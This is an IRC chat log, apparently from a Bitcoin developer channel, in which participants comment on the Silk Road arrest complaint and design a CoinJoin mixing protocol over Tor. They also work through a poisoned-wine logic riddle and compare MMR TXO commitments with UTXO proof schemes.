16:20 < jgarzik> sipa, mixing
16:21 < gmaxwell> the complaints says that they were running transactions through a series of steps in order to conceal their origin.
16:22 < Luke-Jr> bizoro: huh?
16:22 < gmaxwell> e.g. A -> B -> C -> D -> E -> F and b,c,d,e are the same person in reality.
16:22 < bizoro> Luke-Jr, the FBI seized some btc...
16:22 < bizoro> not a lot I think =P
16:22 < Luke-Jr> bizoro: what crisis? how would it solve anything?
16:22 < Luke-Jr> more than I have at least, IIRC
16:23 < bizoro> I mean, pay some public eployees
16:24 < bizoro> anyway... you know how they got to the SR guy, was it tor's fault or he tried to sell the btc?!
16:25 < sipa> he posted a question on stackoverflow, under his real name
16:25 < bizoro> lol... no way
16:25 < sipa> this one: http://stackoverflow.com/questions/15445285/how-can-i-connect-to-a-tor-hidden-service-using-curl-in-php
16:26 < sipa> but changed his username shortly afterwards
16:26 < jgarzik> According to the Silk Road wiki, Silk Road's tumbler "sends all payments through a complex, semi-random series of dummy transactions, making it nearly impossible to link your payment with any coins leacving the site." [...]
16:27 < jgarzik> "Based on my training and experience, the only function served by such 'tumblers' is to assist with the laundering of criminal proceeds"
16:27 < jgarzik> gmaxwell, ^
16:27 < sipa> "leacving" ?
16:27 < bizoro> everytime they block services like this, it gets stronger
16:28 < jgarzik> I was transcribing at high speed from PDF manually
16:28 < sipa> pl
16:28 < sipa> ok
16:28 < jgarzik> *leaving
16:28 < gmaxwell> he prefaced everything with that.
16:28 < gmaxwell> :P
16:28 < gmaxwell> Apparently having a captca before you get access to a site == criminality. (doh)
16:29 < sipa> heh?
16:29 < sipa> also, why is this wizards material?
16:31 < gmaxwell> because it's certantly not bitcoin-dev material! :P
16:31 < jgarzik> lol, pretty much
16:31 < jgarzik> #bitcoin-low-noise-but-OT-for-dev
16:32 * sipa suggests: #bitcoin
16:33 < jgarzik> too craptacular
16:33 < gmaxwell> currently flooded by druggies trying to get their coins back. :P
16:33 < jgarzik> mixing is an interesting nexus of tech and social and legal
16:33 < jgarzik> and economic
17:30 < HM3> apparently he bought the site from the previous owner. so the technical side is probably not all his work
17:31 < HM3> I do believe the entire piratebay infrastructure is open source these days
17:32 < HM3> it's a shame we won't get the same chance with SR, although I don't suppose the Bitcoin side of things was terribly interesting
17:33 < gmaxwell> HM3: where does that come from?
17:34 < HM3> where does what come from?
17:34 < gmaxwell> "he bought the site from the previous owner"
17:34 < HM3> apparently he isn't the first DPR. he did an interview with the mainstream media some time ago
17:40 < BlueMatt> he claims he isnt, the fbi disagrees, so....
17:40 < BlueMatt> afaict
17:43 < HM3> I just think it's ironic he protected his customers by paying bribes and organising hits (if the court complaint is true), but not through technical means like exploiting the capabilities of the coin
17:43 < HM3> well, protected his income
17:43 < gmaxwell> that all sounded really weird.
17:44 < gmaxwell> there were a couple things in the complaint that I think were outright untrue. god knows.
17:45 < HM3> I guess using scripts in the blockchain for escrow or failsafes would make identifying SR transactions too easy
17:48 < sipa> gmaxwell: such as? i only looked briefly
17:49 < gmaxwell> sipa: e.g. it claims (on page 10) that the site had a section for listing hitmen. they was some low essay about how violence was wrong and how they wouldn't list weapons and such. I've checked with a couple people and as far as I can tell it just isn't true.
17:53 < HM3> Well even if the hitman thing is bollocks, they have his emails supposedly of him organising a hit
17:53 < HM3> I think than in itself is a crime if you go so far as to make payment
17:58 < gmaxwell> I think it will be impossible to prosecute him on that.
17:58 < gmaxwell> He asked the _victim_ for referral. They'd have to argue that he was both a moron _and_ a criminal mastermind.
17:59 < gmaxwell> I assume he'll argue that he knew that the other person was also the blackmailer.
18:00 < HM3> So much drama in the webcurrency
18:04 < Luke-Jr> gmaxwell: he paid the blackmailer off more than he asked?
18:04 < Luke-Jr> actually, less I guess
18:04 < gmaxwell> a lot less.
18:04 < Luke-Jr> I'd think they'd at least TRY?
18:06 < gmaxwell> they'll no doubt add it to the list of charges that they'll go after him with if he doesn't plead guilty.
18:07 < Luke-Jr> eh
18:07 < Luke-Jr> if they don't charge him upfront, won't his lawyer tell him "they don't think they can prove that, so ignore it"?
18:08 < Luke-Jr> I guess the harm in doing that is, they can't prosecute later if they find more evidence
18:08 < Luke-Jr> but Canada could :P
18:08 < Luke-Jr> actually, I wonder if the US *can* prosecute a MFH in Canada? :o
18:09 < midnightmagic> sorry "MFH"?
18:09 < Luke-Jr> Murder For Hire
18:10 < gmaxwell> Luke-Jr: nah, standard procedure in federal cases is that they initially charge you with a couple things, and then if you fight the charges they can add more... and they will literally add 100 more charges.
18:10 < Luke-Jr> midnightmagic: DPR paid $150k to have someone killed who threatened to leak names
18:10 < Luke-Jr> gmaxwell: but to omit MFH? that'd be like the biggest charge, no?
18:10 < Luke-Jr> I sure hope drug conspiracy is nothing compared to MFH
18:11 < gmaxwell> Luke-Jr: if someone had been killed it would have been, ... but can they even provide any evidence that they didn't just make the whole thing up?
18:12 < gmaxwell> I suspect that in general that may be part of the challenge here... what physical evidence will exist that shows that this guy was the right guy? Not just persusaive evidence but "beyond a reasonable doubt"
18:12 < Luke-Jr> gmaxwell: the evidence *against* it seems to assume it took place at the victim's residence..
18:12 < Luke-Jr> gmaxwell: surely his PC has the private key for SSH?
18:12 < Luke-Jr> if not code
18:12 < gmaxwell> Maybe! I guess we'll find out.
18:13 < Luke-Jr> otoh, if they arrested him earlier than planned, maybe he got wind of investigation and deleted stuff
18:14 < gmaxwell> I can go create a forum account with "Luke Jr." as my name and then go posting some stuff advertising some online drug market place. e.g. how would you distinguish DPR being this guy from DPR being _me_ and me deciding to frame this guy? I think that only evidence found during the arrest could help them there.
18:14 < Luke-Jr> hmm
18:16 < Luke-Jr> where'd his income come from? ;)
18:16 < Luke-Jr> if he was framed, he'd have to have some other income
18:16 < Luke-Jr> it didn't sound like he did
18:16 < gmaxwell> right. But it also didn't sound like he was living it up either.
18:17 < Luke-Jr> of course not, that'd be beyond foolish
18:17 < Luke-Jr> if I were doing something crazy like that, I'd be saving up for a cruise ship to move out of the US
18:17 < Luke-Jr> :p
18:17 < gmaxwell> hah, as if everything else wasn't? I mean, as I normally say about criminals: not generally people who are making great life decisions.
18:17 < gmaxwell> (like ... wtf was he doing still in the US?)
18:18 < Luke-Jr> everything else was merely foolish
14:33 < andytoshi> ok, i'll keep thinking about it
14:34 < andytoshi> with the current "submit rawtx" interface it is really not clear to me how i can tell 'all outputs are unblinded, ok to collect sigs'
14:35 < andytoshi> because i'm thinking, i'll probably extend the transaction-submission window to a few days or a week, because if people want quick coinjoins, they're much better served by a fully automatic joiner like yours
14:36 < maaku> I have a different protocol for serializing join offers and proposals
14:36 < michagogo|cloud> Gah, I don
14:36 < michagogo|cloud> 't like thread necromancers
14:36 < michagogo|cloud> Took me a while to notice that https://bitcointalk.org/index.php?topic=2699.0;all was from 2011...
14:36 < phantomcircuit> petertodd, HR that limits itself to generic stuff is useful
14:37 < phantomcircuit> petertodd, HR that tries to manage is seriously negative value
14:37 < phantomcircuit> petertodd, an HR department that does things like makes sure payroll works correctly and makes sure to get a group health insurance that fits everybody's needs is very valuable
14:38 < phantomcircuit> it's just that most of them try to make business decisions they aren't even remotely qualified to make :/
14:39 < phantomcircuit> (this is the typical engineers snide remarks about hr lol)
14:39 < andytoshi> maaku: and your protocol can badger people to unblind their stuff without identifying themselves?
14:39 < maaku> well, they have to reconnect with a new tor identity
14:39 < petertodd> phantomcircuit: yup, and HR where I am is the good type. Also remember that HR is very useful as a way to give employees a route to raise issues other than their managers.
14:40 < andytoshi> maaku: right, so if they don't do this on time, can you detect it?
14:40 < petertodd> phantomcircuit: e.g. if there's say, abuse or harrassment going on you need HR as a neutral third-party to fix the issue
14:40 < phantomcircuit> maaku, the only way to guarantee that is to monitor tor circuits
14:40 < maaku> andytoshi: people can reveal their blinding factors (thereby identifying themselves)
14:41 < maaku> if it appears that the join has failed
14:41 < phantomcircuit> by default the client has a minimum reset time for new identities to prevent people from DDoSing the relays with the guard flag
14:41 < andytoshi> ok, i see .. i don't think i can use the same strategy for a very-high-latency protocol
14:41 < phantomcircuit> unfortunately the control port will reply with OK even if it didn't actually cycle the identity
14:41 < maaku> ?
14:41 < maaku> this is designed for a high-latency protocol
14:42 < maaku> I don't think it'd scale very well to real time
14:42 < andytoshi> "if it appears the join has failed" could be after people have spent a day submitting transactions, then spent a day unblinding stuff
14:42 < maaku> the bids and proposed joins have round durations built into them
14:42 < andytoshi> and then one guy misses the window, doesn't want to identify himself, so he walks away and ruins it
14:43 < phantomcircuit> maaku, iirc older versions of the tor client are fairly aggressive with keeping hidden service circuits open
14:43 < andytoshi> so, right now i have a round duration for the submit-transaction phase, but then the signing phase can last forever
14:43 < gmaxwell> phantomcircuit: you use two distinct hidden services.
14:43 < maaku> phantomcircuit: that's completely unacceptable... i'll have to talk with some tor devs about this
14:43 < phantomcircuit> gmaxwell, ah yeah that would work
14:43 < maaku> but yes, it's distinct hidden services
14:43 < maaku> oh ok
14:44 < gmaxwell> yea, if you use two distinct hidden services you'll get the properties you want.
14:44 < phantomcircuit> maaku, the new identity feature doesn't even disconnect open circuits
14:44 < andytoshi> hey, cool .. with two hidden services i can refuse to merge transactions until they have been submitted in the clear to one, and unblinded by the other
14:44 < maaku> that's really bad...
14:44 < phantomcircuit> it just marks them as not to be reused
14:44 < phantomcircuit> it only works well with web browsers really
14:44 < andytoshi> wait, that still links inputs to outputs (for me)
14:45 < andytoshi> (sorry, i'll stop thinking out loud, have to eat anyway)
14:45 < gmaxwell> maaku: whats really bad?
14:45 < maaku> andytoshi: the protocol is this: if all blind signatures are submitted, but not all unblind messages received by the expiration, *everyone* involved who does not reveal their output gets DoS banned
14:46 < phantomcircuit> gmaxwell, im assuming there is an anonymity issue with signing every permutation of the outputs for a coinjoin
14:46 < maaku> gmaxwell: that "use new identity" doesn't actually stop using the old identity, if what phantomcircuit is saying is correct
14:46 < maaku> doesn't affect this application though, but bad in general
14:46 < gmaxwell> phantomcircuit: yes, because obviously you'd not sign the ones with your inputs but without your outputs!
14:46 < phantomcircuit> gmaxwell, right
14:47 < andytoshi> maaku: ok, i don't want to dos-ban people because i'm working over a few days and people get distracted or forget
14:47 < gmaxwell> maaku: the use new identity makes it expire the circuits it pegs up to exits, but I dunno what it does with hidden services; probably best to just use two.
14:47 < andytoshi> i'd rather a system where people who don't fully participate just don't get included
14:47 < gmaxwell> andytoshi: in a realtime / near realtime automated protocol those issues go away.
14:48 < phantomcircuit> gmaxwell, but lets say there is a client with coinjoin implemented in such a way that it's continuously doing it through various meeting points
14:48 < phantomcircuit> entirely transparently to the user
14:48 < maaku> andytoshi: that's the system I described ... your client will automatically broadcast your blinding token after the expiration, preventing you from being banned
14:48 < phantomcircuit> would resistance to withholding not be worth the reduced anonymity
14:49 < maaku> it's only people who don't reveal their outputs, and therefore can't prove that they did which get DoS points
14:49 < gmaxwell> phantomcircuit: you can resist witholding by just abandoning doing any blinding, and if someone withholds the server just drops them and asks everyone to retry... you could do several attempts per second or whatever, and you're banning the withholders ago you go.
14:50 < gmaxwell> and as maaku says, there is a relatively straight forward protocol that allows you to ban witholding parties and still keep the stronger privacy.
14:50 < phantomcircuit> gmaxwell, how do you ban anonymous parties? :)
14:50 < phantomcircuit> tell me and we'll get rich running a tor irc network
14:50 < warren> especially over tor
14:51 < phantomcircuit> wait what
14:51 < gmaxwell> phantomcircuit: trivially.
14:51 < phantomcircuit> s/get super annoyed/
14:51 < gmaxwell> By banning their inputs.
14:51 < phantomcircuit> gmaxwell, except they're witholding the outputs not the inputs
14:51 < petertodd> Anyone else planning on going to the real world cryptography conference next month in NY? https://realworldcrypto.wordpress.com/
14:51 < gmaxwell> phantomcircuit: yep no problem.
14:51 < phantomcircuit> so you'd have to be able to link the inputs and outputs to figure out which inputs to ban
14:51 < maaku> Well, it turns into an arms race where I don't think I'd say there's a "trivial" solution
14:52 < phantomcircuit> gmaxwell, if the join is cancelled you just ask everybody to reveal their input/output link and ban the input of the person who withheld
14:52 < warren> one doesn't need the privkey to propose someone else's inputs right?
14:52 < gmaxwell> petertodd: that sounds pretty good.
14:52 < phantomcircuit> then everybody generates a new key for the next round for their output
14:52 < gmaxwell> phantomcircuit: yep
14:52 < maaku> warren: they do in my design
14:52 < phantomcircuit> gmaxwell, i could see that potentially leaking info though since people do reuse addresses no matter how much we tell them not to
14:52 < maaku> proposals are signed by the inputs they provide
14:53 < petertodd> gmaxwell: bah, just noticed they're "sold out" - free event but registration required
14:53 < gmaxwell> phantomcircuit: the details are a bit hard to get right.
14:53 < gmaxwell> phantomcircuit: but there isn't anything fundimentally hard.
14:53 < phantomcircuit> petertodd, something tells me if you call them and ask they'll magically find room
14:54 < petertodd> phantomcircuit: yeah, gonna give that a go... zooko will be there so I'll give him a shout too
14:54 < gmaxwell> hm. wish I'd thought of it earlier.
14:55 < gmaxwell> I'm going to be on the east coast from the 17th to the 21st for the MIT mistery hunt already... don't think kat has booked tickets yet, so I could perhaps swing by nyc first.
14:55 < petertodd> gmaxwell: cool!
14:56 < gmaxwell> phantomcircuit: basically the bitcoin network itself already gives us a scarce resource we can blacklist: existance of a txout. ... if that turns out not to be enough we could have things like SINs that are required to play, which can be blacklisted using the same protocol.
15:00 < phantomcircuit> gmaxwell, SINs?
15:01 < petertodd> gmaxwell: sending an email to the organizers; want me to ask if you can get a registration as well?
15:01 < gmaxwell> phantomcircuit: expensive to create pseudonoymous identities, created by throwing away coin.
15:02 < gmaxwell> petertodd: yes please. If it turns out I can't come it shouldn't be a huge issue.
15:02 < phantomcircuit> ah
15:03 < andytoshi> petertodd: me too? (though i have no credentials, i understand if i'd just be weighing down your request)
15:03 < phantomcircuit> gmaxwell, yeah but nobody would want to do that if it was automated since they'd end up getting banned because they're on wifi at the airport or whatever
06:36 < sipa> if you see N sick monks, you will expect that they kill themself after N days
06:37 < sipa> if they don't, you have to assume you are the N+1'th
06:37 < sipa> so technically there is a communication channel: observing whether your peers stay alive
06:38 < gmaxwell> so this is a riddle from http://www.ocf.berkeley.edu/~wwu/riddles/hard.shtml but its not actually hard:
06:38 < gmaxwell> An evil king has 1000 bottles of wine. A neighboring queen plots to kill the bad king, and sends a servant to poison the wine. The king's guards catch the servant after he has only poisoned one bottle. The guards don't know which bottle was poisoned, but they do know that the poison is so potent that even if it was diluted 1,000,000 times, it would still
be fatal. Furthermore, the effects of the poison take one month to surface. The ...
06:38 < gmaxwell> ... king decides he will get some of his prisoners in his vast dungeons to drink the wine. Rather than using 1000 prisoners each assigned to a particular bottle, this king knows that he needs to murder no more than 10 prisoners to figure out what bottle is poisoned, and will still be able to drink the rest of the wine in 5 weeks time. How does he pull this off?
06:38 < gmaxwell> ---
06:38 < gmaxwell> You'll all solve that right away.
06:38 < petertodd> sipa: note though how the monks need to be able to put themselves into a sequence for that strategy to work
06:38 < gmaxwell> petertodd: nah, they don't.
06:39 < gmaxwell> petertodd: its a quroum sensing thing. They all commit suicide at once.
06:39 < sipa> indeed, they don't
06:39 < sipa> from each point of view, he himself is the N+1'th
06:39 < petertodd> gmaxwell: if there are 8 monks, 4 of which are sick, the remaining 4 have no way of not all killing themselves, so it's never optimal
06:39 < sipa> but others will see that differently
06:39 < sipa> petertodd: eh sure, after 4 days they see the sick ones dead and everyone is happy
06:40 < HM2> gmaxwell, divide in to 10 x 100 bottle sets, blend each set
06:40 < HM2> you waste 10% of the wine
06:40 < HM2> but after 5 weeks you can drink the other 90%
06:40 < sipa> but he doesn't want to waste any wine except the poisoned one, i assume?
06:40 < gmaxwell> HM2: "that even if it was diluted 1,000,000 times, it would still be fatal"
06:41 < HM2> gmaxwell, and?
06:41 < petertodd> sipa: ok, so on day 4, when monks decide to kill themselves, how do the healthy monks know if they should kill themselves or not? all they know is that someone should
06:41 < gmaxwell> sipa: and yea, assume he doesn't waste.
06:41 < HM2> gmaxwell, the poison is only in one 100 bottle set
06:41 < sipa> petertodd: i don't understand; as soon as you see all originally sick people having killed themself, you know you can't be sick yourself
06:42 < HM2> gmaxwell, does the king need all the wine after 5 weeks? or is he happy with a steady supply?
06:42 < gmaxwell> HM2: I see what you're saying, but no, he's EVIL he wants all his wine (Except the poisoned bottle)
06:42 < sipa> good question
06:42 < sipa> without the 1-month delay it was easy :)
06:42 < sipa> oh
06:42 < sipa> got it
06:43 < petertodd> sipa: ok, so if exactly one person is sick it works nicely: I know someone is sick, everyone else I look at isn't sick, therefore it must be me. If there are two people sick though every monk sees one or two monks... and I got it finally. :P
06:43 < HM2> well if a prisoner dies on day N, you know the poison bottle was from day N-30
06:43 < HM2> (assuming 30 days is the kill time)
06:45 < HM2> you essentially have 30 x 10 = 300 bottles on hold, but after 30 days you've only covered 30% of the bottles
06:45 < HM2> so you have to mix the wine somehow during the process
06:45 < sipa> you can know which bottle is poisoned after exactly 30 days :)
06:47 < sipa> petertodd: :)
06:47 < HM2> i don't see how you can preserve 999 bottles if you have to mix the wine
06:47 < sipa> oh
06:47 < sipa> didn't take that into account
06:47 < HM2> on the other hand, i can't see a way to do it without mixing the wine
06:47 < sipa> you need to be able to take a sample from every bottle in any case
06:47 < gmaxwell> HM2: they can drink some from each bottle, they only need a drop.
06:48 < gmaxwell> We'll just imagine this doesn't spoil the wine.
06:49 < HM2> could you still do it (in a longer period of time) with 1 prisoner?
06:49 < sipa> no
06:49 < gmaxwell> sipa: so the really hard version of this that Kat and I independantly came up with and solved: What if, instead, you know exactly two bottles are poisoned. How many prisoners do you need? But we don't have a proof our solution is optimal.
06:49 < gmaxwell> HM2: well in a really long time, sure, sip from one bottle per month.
06:50 < gmaxwell> (and hope he doesn't die of natural causes first)
06:50 < sipa> gmaxwell: impossible with less than 19 prisoners
06:50 < sipa> though i don't have a contructive proof :)
06:50 < sipa> i think i can prove it's impossible with 18
06:51 < HM2> Ok, i have an idea
06:51 < gmaxwell> I can prove its impossible with less than 20.
06:51 < HM2> take 4 bottles per day
06:51 < HM2> give prison A samples from bottles 12, B gets 13, C gets 24, D gets 34
06:51 < gmaxwell> sipa: since prisoners are integers. you can't have .9 a prisoner.
06:51 < HM2> when the poison gets them, 2 prisoners will die
06:51 < sipa> gmaxwell: there are 1000*999/2 potentials outputs
06:51 < sipa> each equally likely
06:52 < HM2> but you're still only doing 4 bottles per day
06:52 < gmaxwell> sipa: where are you getting the /2 from?
06:52 < sipa> gmaxwell: the order of the poisoned bottles doesn't matter
06:52 < gmaxwell> sipa: oh indeed. 19 then.
06:52 < gmaxwell> (but yea, our solution is not at that bound)
06:52 < gmaxwell> (alas)
06:53 < sipa> #bitcoin-riddles
06:56 < HM2> you can do 6 bottles per day with a mixing strategy
06:56 < HM2> when 2 die you can determine which bottle on that day was poisoned
06:56 < sipa> 6 bottles per day?
06:56 < HM2> because there are 6 combinations of 2 in 4
06:56 < HM2> yeah
06:57 < sipa> where do you get that number?
06:57 < HM2> Prisoners A,B,C,D. Bottles 1-6. A = 125, B = 136, C = 246, D = 345
06:57 < HM2> 1 bottle is poisoned, 2 prisoners die
06:57 < HM2> always determinable
06:58 < petertodd> Lol! Someone claiming to be a Mastercoin investor just offered me a Bitcoin in exchange for giving them some pointers on their transaction encoding troubles - they still don't seem to have figured out that Bitcoin doesn't check if multisig pubkeys are actually real ECC pubkeys. :/
06:58 < HM2> but that still only gets you 30 x 6 = 180 bottles tested after a month
06:59 < HM2> you can't do better on combinations in 4 either
06:59 < HM2> 6 is centre of pascals triangle
07:00 < HM2> so I must be barking up the wrong tree
07:02 < HM2> wait a minute
07:02 < HM2> there are 10 prisoners not 4
07:02 * HM2 facepalms
07:07 < HM2> so you can test 252 bottles a day? :|
07:08 < HM2> because there are 252 combinations of 5 in 10
07:08 < HM2> so after 30 days, 5 prisoners will die
07:09 < HM2> you can determine which of the 252 bottles you mixed was poisoned on the day in question
07:09 < HM2> so total time is 34 days
07:09 < HM2> given a precise 30 day lag time on the poison
07:10 < gmaxwell> you can solve this even if the timing is unreliable.
07:11 < HM2> :P
07:11 < HM2> is it?
07:12 < gmaxwell> Lets just say that it is somewhat unreliable, but enough to meet your deadline.
07:14 < HM2> well since my solution only takes 4 days, you can just space the test days out. Test, no test, test, no test, test, no test, test
07:14 < gmaxwell> the party is in 5 weeks however.
07:14 < HM2> that gives you +/- 24 hour margin and takes 7 days on top of your existing 1 month/4 week deadline
07:14 < sipa> not sure how timing is of any relevance
07:14 < sipa> but i haven't actually followed
07:14 < HM2> for 5 weeks total
07:14 < gmaxwell> sipa: it's not, HM2 is deftly evading the intended solution.
07:15 < HM2> it's a solution nonetheless?
07:15 < HM2> how many prisoners die in your solution?
07:15 < sipa> on average 5
07:16 < sipa> binomially distributed
07:16 < HM2> mine always kills 5
07:16 < sipa> you're so deterministically evil
07:17 < HM2> and wastes err
07:17 < gmaxwell> HM2: and you identify the unique bottle?
07:17 < HM2> sure
07:18 < sipa> oh, you're giving different mixer to the same prisoner before they die?
07:18 < sipa> *mixes
07:18 < HM2> yeah
07:18 < HM2> overlapping mixtures
07:18 < gmaxwell> and timing the death.
07:18 < sipa> got it; yeah that way you can use the timing
07:18 < sipa> but it's unnecessary :)
07:19 < HM2> I give up :)
07:19 < gmaxwell> HM2: yea, so imagine instead all poisoned die on the first of the month regardless of when they drank.
07:20 < sipa> or all prisoners will be beheaded in one month + one hour anyway
07:20 < gmaxwell> yea, he's evil afterall and they drank his wine!
07:20 < HM2> gmaxwell, i don't follow
07:20 < sipa> HM2: assume you cannot observe when a prisoner dies
07:21 < sipa> you only get to check back right before the party in 30 days
07:24 * sipa food
07:28 < HM2> what
07:28 < HM2> so the solution has to be diluting the wine
07:28 < HM2> hmm
07:28 < HM2> if you can dilute the poison below the deadly threshold
07:28 < HM2> then it may be possible to have a different mixing strategy
07:29 < HM2> such that the mixtures becomespoisonous again when combined
07:29 < HM2> (since realistically it should be an absolute of poison that's deadly, not a ratio of wine:poison)
07:30 < gmaxwell> how about another approach. You'd get the most information from a prisoner if he was 50% likely to live/die, right? (this was the kind of thing you pointed out for the hats problem)
07:31 < HM2> sure
07:31 < gmaxwell> do you have a scheme that results in each prisoner being 50% likely to live?
07:31 < HM2> ensure they sample half the wine
07:31 < HM2> 500 bottles
20:21 < gmaxwell> maaku: I think its really simple to implement and understand. If you pretend that all nodes are always online then _no one_ needs to store any third party data at all. Each wallet stores its own proofs. Walletless nodes and miners store nothing (just log2(history) hashes)
20:21 < gmaxwell> In the real world where not all wallets are online all the time, you'd need some archive nodes that store proofs for other wallets, they'd have storage like a bitcoin full node (a little worse due to tree ineffifiency but no worse than a full history archive)... they could be paid for the service of providing historical proofs for wallets who haven't kept up to date.
20:22 < gmaxwell> (e.g. I write my spend without the required proof, but it also pays you... now you can go provide the proof to make it a valid spend)
20:23 < maaku> i suppose.. i need to think about it
20:23 < maaku> it just intrinsically seems very odd to desire pushing work off of the miners onto the wallet apps..
20:26 < gmaxwell> maaku: The key point is it's not "the work", it's "your own work".
20:26 < gmaxwell> Or at least kinda.
20:26 < warren> maaku: in our case we're thinking about this as a way to make expired coins spendable, which may reduce opposition to expiration
20:27 < warren> allowing the UTXO set to stay small and for old blocks to be pruned
20:28 < gmaxwell> maaku: there is no reason that such a scheme couldn't be coupled with all full nodes also providing the service of storing some of the utxo too.
20:28 < warren> hmm
20:29 < warren> gmaxwell: can this possibly create incentive to run full nodes?
20:29 < warren> the network needs that
20:29 < gmaxwell> This would create an incentive to run "archive" nodes. It would make running a full (verifiying node) dirt cheap.
20:30 < gmaxwell> (storage wise at least, perhaps not bandwidth)
20:34 < warren> well, we do need incentive to run archive nodes
20:35 < gmaxwell> in any case, I'm not sure that bitcoin could ever be evolved into this idea... but its an interesting idea regardless.
20:36 < gmaxwell> the prevelance of spv nodes which would become at least somewhat more expensive in this system, alone would make it hard.
20:52 < sipa> it is a very extreme form of pushing full node computations to clients
20:53 < gmaxwell> sipa: except it changes the scaling order at the same time.
20:53 < sipa> but making full nodes dirt cheap is certainly good for decentralozation
20:54 < gmaxwell> Instead of making all full nodes do work/storage proportional to the number of clients (/txouts/transactions/etc), it makes all clients do ~O(1) work/storage.
20:55 < sipa> right, full nodes are replicated
20:55 < sipa> clients aren't (typically)
20:56 < sipa> so any work moved from full nodes to client may be up to N times more expensive (with N the number of full nodes)
20:57 < petertodd> gmaxwell: remember that in the real world log2() scaling is bounded by k*256, as the universe is finite
20:58 < petertodd> gmaxwell: In addition wallets can always spend their old coins to reduce the size of the proofs, as a MMR isn't log2(history) for proof size, but log2(age)
20:58 < petertodd> gmaxwell: or to be exact, log2(age)*log2^2(history), but the latter term isn't very important
21:01 < petertodd> Something else I'd like to see in such a system is to make all transactions in a block be required to only spend transactions in previous blocks, not the current one, and then create a fixed ordering for txouts in the block. This would let you cheaply prove H(txout) existance, and in addition can be used for sharding. Spending unconfirmed coins is mainly
used because you want to pay multiple people in one block interval, and that can always be replaced with transaction re-writing.
21:03 < petertodd> (basically proving that H(txout) exists or doesn't exist in n blocks now costs n*log2(m), not brilliant sure, but that's still fairly cheap and doesn't require full nodes to maintain txout indexes)
21:04 < petertodd> *expensive txout indexes
21:04 < maaku> gmaxwell: my point iswhy pay an external proof-generating service *in addition to* the miners transaction fees?
21:05 < petertodd> maaku: because specialization - why should operating specialist mining equipment and validation also be tied to having huge archives of old block data?
21:06 < petertodd> For that matter, why should fully validating to check for miner fraud be tied to having huge archives of old block data?
21:06 < petertodd> We want validation to be as cheap as possible to keep everyone honest, and we want validation to also have no barriers of entry.
21:07 < petertodd> IE for 1% of the cost, I should be able to validate 1% of the data.
21:07 < maaku> petertodd: miners just need the utxo set, not the full archive
21:07 < petertodd> maaku: The UTXO set can grow without bound, and likely will.
21:08 < maaku> yes, but still "utxo set" != "achives of old block data"
21:08 < petertodd> maaku: With MMR TXO commitments we can stop hassling every idiot who bloats the UTXO set, and for that matter, they aren't idiots anymore...
21:09 < petertodd> maaku: the UTXO set needs to be stored in full to be useful, so it's a bigger ultimate burden than old block data archives which can be partially stored and still be useful
21:09 < maaku> petertodd: no, it doesn't. you can do a proof-updatable version of the utxo indices
21:09 < maaku> where transactions come with proofs-of-inclusion for their inputs, and update proofs for their outputs
21:10 < petertodd> maaku: But without UTXO existance proofs you still need full nodes to store the UTXO set, and at that point MMR TXO commitments are much simplier.
21:10 < maaku> you can do utxo existence proofs though. that's what i was asking gmaxwell about - MMR vs UTXO-with-updatable-proofs
21:11 < petertodd> Yes I know - I thought of that idea ages ago myself, as did many other people. MMR TXO commitments are simpler is what it comes down too.
21:13 < maaku> meh, i'm not so sure about that. the index bip i'm working on is rather simple, and indexing offers additional benefits... what i'm trying to figure out is if there are things you can do in MMR which you can't in UTXO-with-updatable-proofs
21:13 < petertodd> The things you can't do are obnoxious things, like making parasitic consensus systems able to take advantage of the UTXO indexes to easily store their data.
21:15 < maaku> i think you can do the same in MMR
21:16 < maaku> as far as I can tell, the MMR tree is the same as the UTXO index, just (1) keyed by insertion order, and (2) spent outputs are left in place, right?
21:16 < petertodd> Nope, in MMR they either can't at all, because you implemented it without sorting at all, or they need to scan the chain.
21:16 < maaku> well it depnds on the app. you can still make proofs showing data inclusion, which is what I thought you meant
21:17 < petertodd> Yes, and on disk you literally end up with a huge file that you append too, and modify in place, and once enough outputs are spent you can drop sections of the file. Remarkably you can implement it with sparse files!
21:17 < petertodd> maaku: with UTXO proofs + what people want for SPV wallets getting my data is as simple as asking the next full node "hey, what txouts match <prefix>?"
21:17 < petertodd> maaku: (specifically I'm talking about what you're implementing)
21:20 < petertodd> Anyway, the key thing is can you do a UTXO commitment scheme, where you can expire old UTXOs? Because I couldn't figure out an efficient way to do the updates; maybe you can.
21:21 < amiller> i don't understand how you use mmr as a utxo
21:21 < petertodd> Like, if 99% of my UTXO's are long dead, can I still generate the UTXO tree efficiently, and still be able to throw away the majority of the data?
21:21 < amiller> i keep reading the page and i don't get it
21:21 < amiller> how do you prove it's still unspent if it isn't removed?
21:21 < petertodd> amiller: You prove that it hasn't been marked as spent.
21:22 < maaku> petertodd: yes, basically the same scheme with transactions carrying their own proofs, updated by owners or archive services for a fee
21:22 < maaku> the update itself requires no level-compression of the hash calculations
21:22 < maaku> but you can still store level-compressed tree on disk
21:22 < maaku> and just expand the skip-list into a sequence of internal nodes
21:22 < petertodd> maaku: Right, but to insert a new TXO in a radix tree I still need a lot of intermediary digests.
21:22 < maaku> so a 256-bit key requires 256 hash operations to authenticate
21:23 < amiller> petertodd, so it requires log n digests/modifications to mark it as spent?
21:23 < petertodd> maaku: Whereas for a TXO MMR appending a new TXO is cheap.
21:23 < maaku> yes, although it's also O(1) ... just with a constant factor of 256
21:23 < petertodd> amiller: correct
21:23 < petertodd> maaku: appending is O(1), with a constant factor of 1
21:23 < petertodd> (in MMR TXO commitments)
21:24 < amiller> who cares if appending is cheap if updating is log n anyway?
21:24 < amiller> i guess it's nice..
21:24 < petertodd> Also in MMR TXO commitments in the general case, where your spending recent coins, the proof size stays small, whereas in UTXO radix trees the proofs get much larger.
21:24 < maaku> petertodd: given the availability of CPU-accelerated sha256, and/or GPU acceleration, i'm don't give much weight either way
21:24 < petertodd> amiller: But it's not, it's log2(age), which is much cheaper than log2(total # of transactions)
21:25 < petertodd> maaku: bandwidth is what matters, and MMR TXO keeps bandwidth down
21:25 < petertodd> maaku: CPU/GPU whatever is completely irrelevant compared to bandwidth
21:26 < petertodd> For instance if I respend a TXO that confirmed 4 blocks ago, my proof size is only k*2!
21:26 < maaku> petertodd: yes, i'm in agreement on bandwidth vs processing
21:26 < maaku> but log2(age) is not necessarily cheaper than log2(# *unspent* transactions)
18:56 < midnightmagic> jgarzik: There are some excellent talks at.. 28c3 I think.. with textual fingerprinting and analysiss, and open-source tools anybody can use. Very impressive to see what academics think is the state-of-the-art.
18:56 < jgarzik> Far beyond that -- statistics can read your mind ;p
18:57 < gmaxwell> indeed.
18:57 < HM3> i'm going to 30C3 this year
